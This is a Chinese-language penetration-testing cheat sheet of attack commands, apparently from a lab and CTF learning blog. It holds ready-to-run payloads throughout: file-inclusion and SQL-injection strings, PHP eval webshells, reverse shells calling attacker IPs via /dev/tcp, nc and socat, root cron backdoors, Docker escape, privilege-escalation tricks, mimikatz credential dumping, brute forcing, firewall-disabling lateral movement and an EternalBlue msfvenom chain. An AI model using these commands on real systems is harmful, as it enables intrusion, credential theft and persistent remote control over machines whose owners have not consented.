近400个渗透测试常用命令，信息收集、web、内网、隐藏通信、域渗透等等

一、TOP10利用

• 1、文件包含类

payload利用

```
php://filter/read=convert.base64-encode/resource=index.php
php://filter/resource=index.php
php://filter/string.strip_tags|convert.base64-decode/resource=shell.php

data://text/plain,<?php%20phpinfo();?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

file:///etc/passwd

http://127.0.0.1/cmd.php?cmd=php://input
POST数据: <?php phpinfo()?>

curl http://10.10.10.200/test.php?file=/home/qiu/.ssh/id_rsa

# 在文件包含中几个重要的文件
/home/qiu/.ssh/id_rsa  # 私钥
chmod 600 ~/.ssh/id_rsa  # 需要赋予权限，否则可能利用不成功，必须600
ssh -i id_rsa root@10.10.10.200# 使用密匙文件登录
```

• 2、目录扫描类

```
# gobuster添加UA，指定扫描的文件类型
gobuster dir -u http://10.10.10.192/NickIzL33t/ -w
/usr/share/wordlists/rockyou.txt -x txt,zip,php,html -H 'User-
Agent:Mozilla/5.0 (iPhone; CPU iPhone OS.....8.0 main%2F1.0
baiduboxapp/13.40.0.10 (Baidu; P2 15.5) NABar/1.0 themeUA=Theme/default' -s
200 -b '' -t 200

# gobuster扫描指定的文件类型
gobuster dir -u http://10.10.10.201/seeddms51x -w
/data/SecLists_Dict/Discovery/Web-Content/directory-list-1.0.txt -x
html,txt,php,js
```

```
# 使用dirb指定扫描的文件类型
dirb http://192.168.5.139/w/h/i/s/p/e/r/the_abyss/ -X .txt .img .html
# 其他自行查找

# dirsearch
python3 dirsearch.py -e php,txt,zip -u https://target     # 简单的查看网址目录和文件
python3 dirsearch.py -e php,txt,zip -u https://target -w db/dicc.txt        # 使用文件拓展名为php,txt,zip的字典扫描目标url
python dirsearch.py -u http://xxxx -r  # 递归扫描，不过容易被检测
python dirsearch.py -u http://xxxx -r -t 30# 线程控制请求速率
python dirsearch.py -u http://xxxx -r -t 30 --proxy 127.0.0.1:8080# 使用代理
```

3、常见登录框万能密码

```
' or 1=1 --+
' or 1=1 -- +
' or 1=1#
" or 1=1 --+
" or 1=1 -- +
" || 1=1 -- +
" || 1=1 --+
" || 1=1 #
xss，xxe，。。。。# 待更，有开源字典
```

二、信息收集

1、基本信息收集

- Linux

```
uname -a
hostname # 主机名
# 系统信息相关
lsb_release -a
cat /etc/os-release
cat /proc/version
# 权限相关
sudo -l # 查看可以使用sudo的文件
find / -perm -4000 -print2>/dev/null  # 方式1：查找 SUID文件
find / -perm -u=s -type f 2>/dev/null # 方式2：查找 SUID文件
ls -al /etc/cron* # 查看所有计划任务
cat /etc/crontab
crontab -l

```

```
find / -perm 777 -type f -u root 2>/dev/null # 查看文件权限为777的文件信息，root用户
find / -perm 777 -type f  2>/dev/null # 查看文件权限为777的文件信息
# 其他信息收集
ps -aux
netstat -tulnp
history
pwd # 查看当前目录
whoami # 查看当前用户

grep -rno stapler # 筛选当前目录以及递归的子目录所有文件中包含stapler字符的文件，并显示行号
```

windows

普通信息收集

```
ipconfig /all # 查看所有网络信息，包括域和dns
net view # 查看域内用户
net localgroup administrators # 查看Administrators组的成员
chdir # 查看当前目录
netstat -ano # 查看进程信息
systeminfo | findstr /i "system type" # 查看系统类型
```

windows信息收集进阶

```
sc query WinDefend # 检查是否存在杀软windows defender
```

windows信息收集之msf

```
meterpreter > run post/windows/gather/enum_applications # 枚举已安装的软件
meterpreter > run post/windows/gather/enum_firewall # 检查防火墙状态
meterpreter > run post/windows/gather/enum_services # 枚举所有服务
```

fscan

```
 cd fscan//进入fscan文件夹

 # 执行在windows下为fscan.exe,linux下为./fscan

 # 例如
 ./fscan -h 192.168.101.1/24# 启动fscan并扫描网段

 fscan.exe -h 192.168.x.x # 默认使用全部模块
 fscan.exe -h 192.168.x.x -rf id_rsa.pub # redis 写私钥
```

```
fscan.exe -h 192.168.x.x -c whoami # ssh爆破成功后，命令执行
fscan.exe -h 192.168.x.x -m ms17010 # 指定模块
fscan.exe -h 192.168.x.x -m ssh -p 2222# 指定模块ssh和端口
fscan.exe -h 192.168.x.x -h 192.168.1.1/24# C段
fscan.exe -h 192.168.x.x -h 192.168.1.1/16# B段
fscan.exe -h 192.168.x.x -h 192.168.1.1/8# A段的192.x.x.1和192.x.x.254,方便快速查看网段信息
fscan.exe -h 192.168.x.x -hf ip.txt # 以文件导入
```

2、MYSQL相关

```
# 常用报错
mysql -uwordpress -pWordPressISBest -h 172.18.0.2 --skip-ssl
mysql -h10.233.117.225 -P3306 -uroot -p --ssl-mode=DISABLED

# sql语句
update tblUsers set pwd='e10adc3949ba59abbe56e057f20f883e' where login='admin';

# sql信息收集以及利用方法
SHOW VARIABLES LIKE 'secure_file_priv';  # 是否允许向外部写入文件
# 接下来就向外部写文件

# 通过修改日志文件路径，来构造一句话马
SHOW VARIABLES LIKE 'general_log_file';  # 显示mysql日志文件路径，执行过的命令的文件路径
set global general_log=on; # 开启查询日志
set global general_log_file='D:\\\\phpstudy\\www\\shell.php'; # 设置查询日志存储路径
select '<?php phpinfo();?>'; # 查询一句话
set golbal general_log=off;  # 最后关闭查询日志

# phpmyadmin包含session文件
# 1、首先创建一张表。2、写入一个字段为一句话木马 <?php @eval($_GET['123']);?>
http://10.10.10.131:2003/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_3cfb6084f034677df82ef00120cce4fd
```

3、通信类信息收集

本地ip探测，linux shell脚本

```
# linux
for i in {1..254}; do (ping -c 1 172.18.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done;
```

windows脚本，ip探测

```
for/l %i in (1, 1, 255) do @ping 192.168.1.%i -w 1 -n 1 | find /i "ttl"
```

三、常用渗透命令

1、Windows

cmd下载

```
certutil -urlcache -split -f http://192.168.93.20:5000/frpc.ini
c:\mimikatz.exe # 从指定服务器下载文件
taskkill /PID 356 /F # 强制结束进程信息
```

powershell

```
# 更新中
```

2、linux

```
# 见信息收集
```

反弹shell中的监听方

socat监听本地端口

```
socat TCP-LISTEN:4444 STDOUT
```

nc监听本地端口

```
nc -lvnp 1234
```

三、交互式终端

利用socat工具创建交互式终端并反弹shell（没有python的使用方法）

```
./socat tcp:10.10.10.128:1234 exec:'/bin/bash -li',pty,stderr,sigint,sighup,sigquit,sane
```

利用python创建交互式终端

```
python -c 'import pty; pty.spawn("/bin/bash")';
python2 -c 'import pty; pty.spawn("/bin/bash")';
python3 -c 'import pty; pty.spawn("/bin/bash")';
```

利用msf创建交互式终端

```
use post/multi/manage/shell_to_meterpreter
set session 2 # 设置已经上线的会话
run
```

使用ssh创建密匙文件

```
ssh-keygen -t rsa -b 4096
# 回车
# 回车
# 回车

# 靶机
wget 10.10.10.130:5000/id_rsa.pub
chmod 700 /tmp/forest/home/ubuntu/.ssh/
cp id_rsa.pub /tmp/forest/home/ubuntu/.ssh/authorized_keys
chmod 600 /tmp/forest/home/ubuntu/.ssh/authorized_keys

# 对于低版本的openssh需要使用算法配置，下面是一些常用的排错方法
ssh ubuntu@10.10.10.131 -oPubkeyAcceptedKeyTypes=+ssh-rsa -i id_rsa
ssh -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa -i rain_rsa ubuntu@10.10.10.131
```

shell敲击（敲门）

```
for x in 1466 67 1469 1514 1981 1986; do nmap -Pn -p $x 10.10.10.194; done
# or
knock 10.10.10.194 1466 67 1469 1514 1981 1986 -v
```

一句话木马php、一句话马

```
<?php @eval($_POST['pass']);?>
```

rbash / shell 逃逸命令

```
ssh username@IP  "export TERM=xterm;python -c  'import pty;pty.spawn(\"/bin/bash\")'"
```

wfuzz模糊测试相关

```
# 安卓url爆破响应为200的结果（添加UA）
wfuzz -u http://10.10.10.192:8008/NickIzL33t/FUZZ.html -w small_rockyou.txt  -H 'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS.....8.0 main%2F1.0 baiduboxapp/13.40.0.10 (Baidu; P2 15.5) NABar/1.0 themeUA=Theme/default' --sc 200
# 普通url爆破响应为200的结果
wfuzz -u http://10.10.10.192:8008/NickIzL33t/FUZZ.html -w small_rockyou.txt --sc 200
# 筛选出响应长度在100到100000之间的结果
wfuzz -u http://10.10.10.200/test.php?FUZZ=/etc/passwd -w /data/SecLists_Dict/Discovery/Web-Content/small_common.txt
 --ss "^(.{100,100000})$"
# 指定从1开始模糊测试
wfuzz -u http://10.10.10.203/wordpress/?page_id=FUZZ -z range,1-1000 --sc 200
```

密码爆破类别

1、hydra爆破

海德拉爆破网页post表单（`-f` 爆破成功一个就停止），`^USER^`和`^PASS^`分别代表的用户名和密码的变量，`Invalid`表示排除字段，即出现了这个字段表示爆破失败

```
hydra -l rmichaels -P /usr/share/wordlists/fasttrack.txt -t 4 -vV 192.168.209.132 http-post-form "/imfadministrator/index.php:user=^USER^&pass=^PASS^:Invalid"
```

海德拉爆破ssh / rdp（win远程）

```
hydra -l rmichaels -P /usr/share/wordlists/fasttrack.txt -t 4 -vV 192.168.209.132 ssh
```

海德拉爆破smb

```
proxychains hydra -l Administrator -P pass.txt \
  -s 445 -t 4 -vV -m "SMB" \
  smb://192.168.138.138
```

- **2、zip压缩包密码爆破**

```
fcrackzip -D -p pass.txt -u t0msp4ssw0rdz.zip
```

- **3、wordpress后台爆破**

```
wpscan --url http://10.10.10.203/wordpress -e u -P
/data/SecLists_Dict/Passwords/darkweb2017-top10000.txt
```

隐藏通信类

代理reGeorg （http / https隧道）

```
python2 reGeorgSocksProxy.py -u http://10.10.10.129:8000/tunnel.php # 这样会开启一个本地代理到8888端口，挂在后台
vi /etc/proxychains4.conf # 修改最后一行为代理的端口和ip地址
```

msf代理添加路由

```
route # 查看路由信息
run autoroute -s 172.18.0.0/24 # 添加路由表
run autoroute -p # 查看路由表情况
```

进行内网探测（ip存活数量）以及端口扫描

```
use auxiliary/scanner/portscan/tcp
set session 3
set rhosts 172.18.0.0/24
run
```

frp代理工具的使用方法

```
 # kali
 python -m http.server 443
```

```
# 靶机
cd /tmp
curl -O 10.10.10.128:443/frpc
curl -O 10.10.10.128:443/frpc.ini
chmod +x frpc

# kali
./frps -c frps.ini

# 靶机
./frpc -c frpc.ini
```

microsocks 轻量级的socks代理工具

```
microsocks -1 -i listenip -p port -u user -P password -b bindaddr  # 参数绑定

microsocks -b 0.0.0.0 -p 1080   # 不用密码直接用
```

ssh端口转发

```
ssh -CfNg -L 2021:192.168.110.132:3389 kali@192.168.110.128
# 132是靶机，128是kali
# 解释：这条命令的作用，在攻击机上建立一个本地ssh服务器的ssh隧道
# 将本地的2021端口的流量通过这个隧道转发到远程主机192.168.110.132的3389端口
# 重点如下：
# 这样，当你在本地机器上访问攻击机kali本地的2021端口时，实际上访问的是远程主机
192.168.110.132的3389端口
```

lcx端口转发

```
wget http://www.vuln.cn/wp-content/uploads/2016/06/lcx_vuln.cn_.zip
# windows靶机
lcx.exe -slave 192.168.110.128(攻击机IP) 4444 127.0.0.1 3389

# kali
./portmap -m 2 -p1 4444 -h2 192.168.110.128 -p2 5555
```

Linux其他命令

强制终止一个进程

```
netstat -tulnp
sudo kill -9 $(sudo lsof -t -i:8888)
```

docker系列

docker安装，修改源

```
deb http://mirrors.aliyun.com/ubuntu/ jammy main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ jammy main restricted universe multiverse

deb http://mirrors.aliyun.com/ubuntu/ jammy-security main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ jammy-security main restricted universe multiverse

deb http://mirrors.aliyun.com/ubuntu/ jammy-updates main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ jammy-updates main restricted universe multiverse

deb http://mirrors.aliyun.com/ubuntu/ jammy-backports main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ jammy-backports main restricted universe multiverse
echo '源' > /etc/apt/sources.list
apt-get update
apt-get install docker.io
```

docker逃逸

低版本

```
docker run --rm -it -v /:/tmp/1/ wordpress /bin/bash
cd /tmp/1
cat flag_3
```

特权逃逸（利用条件：管理员启动容器执行docker run —privileged）

```
mkdir /tmp/forest  # 创建一个文件夹
mount /dev/sda1 /tmp/forest  # 挂载磁盘
ls /tmp/forest  # 查看挂载后的磁盘内容
```

- docker信息收集

```
ls -alh /.dockerenv # 判断是否为docker环境，存在则是，进行下一条命令，不存在则否
cat /proc/1/cgroup # 通过控制组(cgroup)信息判断容器化环境
```

反弹shell绕过

- 1、bash绕过

```
bash -c '/bin/bash -i >& /dev/tcp/10.10.10.128/1234 0>&1'  # 利用 -c 来执行命令
```

- 2、写计划任务

也可以用来进行docker逃逸

```
echo "/bin/bash -i >& bash -i >& /dev/tcp/10.10.10.130/1234 0>&1">>
/tmp/forest/tmp/shell.sh
chmod +x /tmp/forest/tmp/shell.sh
cat /tmp/forest/tmp/shell.sh
# 写入crontab计划任务，表示每隔1分钟以root权限执行一次计划
echo '*/1 * * * * root  bash /tmp/shell.sh' > /tmp/forest/etc/crontab
cat  /tmp/forest/etc/crontab
nc -lvnp 1234
```

提权系列命令

bash提权

```
/usr/bin/bash -p
```

软连接+修改环境变量提权

```
ramses@NullByte:/var/www/backup$ ./procwatch
  PID TTY          TIME CMD
 3407 pts/0    00:00:00 procwatch
 3408 pts/0    00:00:00 sh
 3409 pts/0    00:00:00 ps
ramses@NullByte:/var/www/backup$ ln -s /bin/sh ps
ramses@NullByte:/var/www/backup$ export PATH=.:$PATH
ramses@NullByte:/var/www/backup$ ./procwatch
```

首先docker逃逸成功，其次是root权限（docker容器），即可利用如下命令提权（计划任务提权/添加计划任务）

```
echo "/bin/bash -i >& bash -i >& /dev/tcp/10.10.10.130/1234 0>&1">>
/tmp/forest/tmp/shell.sh
chmod +x /tmp/forest/tmp/shell.sh
cat /tmp/forest/tmp/shell.sh
# 写入crontab计划任务，表示每隔1分钟以root权限执行一次计划
echo '*/1 * * * * root  bash /tmp/shell.sh' > /tmp/forest/etc/crontab
cat  /tmp/forest/etc/crontab
nc -lvnp 1234
```

tcpdump提权

```
COMMAND='id'
TF=$(mktemp)  # 一个临时文件路径
echo "$COMMAND" > $TF  # 追加要执行的命令到上面那个文件
chmod +x $TF # 赋予执行权限
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z $TF -Z root
#             注意这里 ⬆ 是你需要监听的网卡地址

# 即可提权执行命令
```

find提权（find需要具有suid权限，即可提权）

```
# sudo
sudo find . -exec /bin/sh \; -quit

# shell
find . -exec /bin/sh \; -quit
```

计划任务提权

```
# 命令
crontab -e

# sudo
sudo crontab -e

# 修改计划任务文件，或者追加一个定时任务，前提是root用户的计划任务
```

mysql提权

```
# 获得一个shell
mysql -e '\! /bin/sh'

# sudo + shell
sudo mysql -e '\! /bin/sh'

# udf提权，后续文章讲解
```

脏牛提权

```
# exp地址
https://github.com/gbonacini/CVE-2016-5195

# 脏牛提权
https://github.com/aishee/scan-dirtycow/blob/master/dirtycowscan.sh

# 一般情况靶机上面无法运行脏牛的提权文件，需要结果预编译后执行
# g++编译.cpp文件为可执行文件:
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
# gcc编译.c文件为可执行文件:
gcc -pthread dirty.c -o dirty -lcrypt
gcc 45010.c -o 45010
```

烂土豆提权（windows）

```
https://github.com/foxglovesec/Potato
```

juicypotato.exe（多汁土豆提权）

```
# 下载地址
https://github.com/ohpe/juicy-potato

# 提权步骤
# 查看本地用户的权限，是否具有SeImpersonate或SeAssignPrimaryToken权限
```

```
whoami /all
whoami priv
# 如果开启SeImpersonate权限，juicypotato的参数可以使用-t t
# 如果开启SeAssignPrimaryToken权限，juicypotato的参数可以使用-t u
# 如果均开启，可以选择-t * 如果均未开启，那么无法提权。

# 查看RPC默认端口是否为135
netstat -abno

# 若rpc服务被修改，则使用-n 参数指定修改后的端口，如 -n 111

# 添加防火墙规则，允许135端口入站
netsh advfirewall firewall add rule name="135" protocol=TCP dir=in
localport=135 action=allow

# 不同操作系统选择可用的CLSID
# 参考列表:
https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

# 列表中随便选择了一个
6d18ad12-bde3-4393-b311-099c346e6df9

# 选择系统未占用的端口作为监听端口
# 最终提权命令如
C:\wmpub\JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c
{6d18ad12-bde3-4393-b311-099c346e6df9}
```

另一个大佬写的webshell、shellcode的juicyPotato.exe

```
# 下载地址
https://github.com/uknowsec/JuicyPotato

# 提权命令
C:\juicyPotato_32.exe -p whoami

# 执行命令
execute -f juicypotato.exe -p net user test 123456
execute -f juicypotato.exe -p net localgroup administrators test /add
```

..... 持续更新中，访问泷羽Sec官网即可，longyusec.com

FTP系列

ProFTPd拷贝漏洞

```
telnet 10.10.10.198 21
site cpfr /home/patrick/version_control # 将这个文件拷贝
site cpto /home/ftp/upload/version_control # 拷贝的文件放到这里
```

ftp常用命令

```
get version_control # 下载文件
send version_control # 将本地文件发送到服务器（上传）
```

CMS系列

wordpress默认主题目录（主题名称需要小写）

```
curl http://10.10.10.203/wordpress/wp-content/themes/twentynineteen/secret.php
```

joomla内容管理系统，利用网站

```
https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn
```

joomla默认主题目录

```
http://192.168.1.110/templates/beez3/index.php
```

域信息收集

域内基础信息收集

```
net view /domain  # 查看域
net view /domain:XXX(域名) # 查看域内所有的计算机
net group /domain # 查询域内所有用户组列表
net group "domain computers" /domain # 查看所有域成员计算机列表
net accounts /domain # 获取域密码信息
nltest /domain_trusts # 获取域信任信息
```

查找域控制器

```
# 查看域内控制器的机器名
nltest /DCLIST:XXX

# 查看域控制器的主机名
Nslookup -type=SRV _ldap._tcp

# 查看当前时间
net time /domain

# 查看域控制器组
# 真实环境中，一般存在两台或两台以上的域控制器，其目的是：一旦主域控制器发生故障，
# 备用的域控制器可以使域内服务验证正常进行。
net group "Domain Controllers" /domain
netdom query pdc
```

获取域内的用户和管理员信息

查询所有域用户列表

```
# 向域控制器进行查询
net user /domain

# 获取域内用户详细信息
wmic useraccount get /all

# 查看存在的用户
dsquery user

# 查询域内置本地管理员组用户
net localgroup administrators /domain
```

查询域管理员用户组

```
# 查询域管理员用户
net group "domain admins" /domain

# 查询管理员用户组
net group "Enterprise Admins" /domain
```

域管理员定位工具

```
# 下载
https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon

# 参数
psloggedon [-] [-l] [-x] [\\computername|username]
-: 显示支持的选项和用于输出值的单位。
-l: 仅显示本地登录，不显示本地和网络资源登录。
-x: 不显示登录时间。
\\computername: 指定要列出登录信息的计算机的名称。
Username: 指定用户名，在网络中搜索该用户登录的计算机。
```

查找域管理进程

本机检查

```
# 获取域管理员列表
net group "Domain Admins" /domain
# 列出本机所有进程及进程用户
Tasklist /v
# 寻找是否有进程所有者为域管理员的进程
```

查询域控制器的域用户会话

```
# 查询域控制器列表
net group "Domain Controllers" /domain
# 收集域管理员列表
net group "Domain Admins" /domain
# 收集所有活动域会话列表
Netsess.exe -h
# 交叉引用域管理员列表与活动会话列表
# 将域控制器列表添加到 dcs.txt 中，将域管理员列表添加到 admins.txt 中，并和 netsess.exe 放在同一个目录下。运行如下脚本后，会在当前目录下生成一个 sessions.txt 文本文件
FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h %i 2>nul > sessions.txt && FOR /F %a in (admins.txt) DO @type sessions.txt | @findstr/I %a
# 其他脚本下载
 [GDA](https://github.com/nullbind/Other-Projects/tree/master/GDA)
```

扫描远程系统上运行的任务

```
# 同样首先从“域管理员”组中收集域管理员的列表。
net group "Domain Admins" /domain
# 然后使用下列脚本，其中 ips.txt 填入目标域系统的列表，在 names.txt 填入收集来的域管理员的列表。
FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt && FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause
```

扫描远程系统上 NetBIOS 信息

```
# 同样，先收集域管理员列表，然后将目标域系统列表添加到 ips.txt 文件中，将收集到的域管理员列表添加到 admins.txt 文件中，并置于同一目录下.
for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
# 这里也可以使用 nbtscan 工具。先收集域管理员列表，然后将目标域系统列表添加到ips.txt 文件中，将收集到的域管理员列表添加到 admins.txt 文件中，和 nbtscan 工具置于同一目录下.
for /F %i in (ips.txt) do @echo [+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
```

powershell域内信息收集

```
Get-NetDomain # 获取当前用户所在的域名称。
Get-NetUser # 返回所有用户的详细信息。
Get-NetDomainController # 获取所有域控制器。
Get-NetComputer # 获取所有域内机器的详细信息。
Get-NetOU # 获取域中的 OU 信息。
Get-NetGroup # 获取所有域内组和组成员信息。
Get-NetFileServer # 根据 SPN 获取当前域使用的文件服务器。
Get-NetShare # 获取当前域内所有网络共享。
Get-NetSession # 获取在指定服务器存在的会话信息。
Get-NetRDPSession # 获取在指定服务器存在的远程连接信息。
Get-NetProcess # 获取远程主机的进程信息。
Get-UserEvent # 获取指定用户的日志信息。
Get-ADObject # 获取活动目录的对象信息。
Get-NetGPO # 获取域所有组策略对象。
Get-DomainPolicy # 获取域默认或域控制器策略。
Invoke-UserHunter # 用于获取域用户登录计算机及该用户是否有本地管理权限。
Invoke-ProcessHunter # 查找域内所有机器进程用于找到某特定用户。
Invoke-UserEventHunter # 根据用户日志获取某域用户登录过哪些域机器
```

域渗透/横向移动/windows渗透

枚举域内用户

```
netexec ldap 10.10.11.51 -d sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --users
```

域提权ms14-068

```
ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
```

使用mimikatz枚举票据

```
mimikatz # kerberos::purge          //清空当前机器中所有凭证，如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list           //查看当前机器凭证
mimikatz # kerberos::ptc TGT_douser@DEMO.COM.ccache    //将票据注入到内存中
mimikatz # sekurlsa::logonpasswords   //显示所有的密码
```

使用mimikatz执行查看日志发现抓到了域控的明文口令

```
mimikatz.exe log privilege::debug sekurlsa::logonpasswords
```

登录，连接并查看域控，通过`net use`挂载域控共享目录

```
net use \\192.168.93.10\ipc$ "zxcASDqw123!!" /user:Administrator # 使用密码登录到域/SMB
net use \WIN-ENS2VR5TR3N
dir \\WIN-ENS2VR5TR3N\c$
```

将一个脚本拷贝到域主机上去

```
copy C:\nc.exe \\WIN-ENS2VR5TR3N\c$\nc.exe
```

创建执行任务，关闭防火墙

```
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall
```

第一种上线上线方法：创建nc反弹shell上线

```
sc \\WIN-ENS2VR5TR3N create ncshell binpath= "c:\nc.exe  192.168.183.129 1234 -e cmd"
sc \\WIN-ENS2VR5TR3N start ncshell
```

第二种方法：添加计划任务上线

```
shell at \\192.168.138.138 22:10:00 c:\win7beacon.exe
```

放行3389端口

```
netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389
```

修改注册表，设置允许远程登录

```
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

shutdown /r /t 0
```

域内SMB爆破

```
proxychains hydra -l Administrator -P pass.txt \
  -s 445 -t 4 -vV -m "SMB" \
  smb://192.168.138.138
```

创建计划任务执行命令

```
shell at \\192.168.93.20 23:16:00 'netsh advfirewall set allprofiles state off'
```

• windows渗透

手工干永恒之蓝，脚本利用以及shellcode生成和使用

```
git clone https://github.com/worawit/MS17-010.git
nasm -f bin eternalblue_kshellcode_x64.asm -o ./sc_x64_kernel.bin
nasm -f bin eternalblue_kshellcode_x86.asm -o ./sc_x86_kernel.bin
msfvenom -p windows/x64/shell_reverse_tcp LPORT=2222 LHOST=192.168.93.100 --platform windows -a x64 --format raw -o sc_x64_payload.bin
msfvenom -p windows/shell_reverse_tcp LPORT=2222 LHOST=192.168.183.129 --platform windows -a x86 --format raw -o sc_x86_payload.bin
cat sc_x64_kernel.bin sc_x64_payload.bin > sc_x64.bin
cat sc_x86_kernel.bin sc_x86_payload.bin > sc_x86.bin
python eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin
proxychains python ../eternalblue_exploit7.py 192.168.183.149 sc_all.bin
```

域这块就差不多学了这么多，还有补充的话，欢迎师傅们留言

遇到的一些问题

- ### 1、ssh连接排错方案

```
ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss vmware@10.10.10.130
# Unable to negotiate with 10.10.10.129 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss

ssh ubuntu@10.10.10.131 -oPubkeyAcceptedKeyTypes=+ssh-rsa -i id_rsa
ssh -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa -i rain_rsa ubuntu@10.10.10.131
```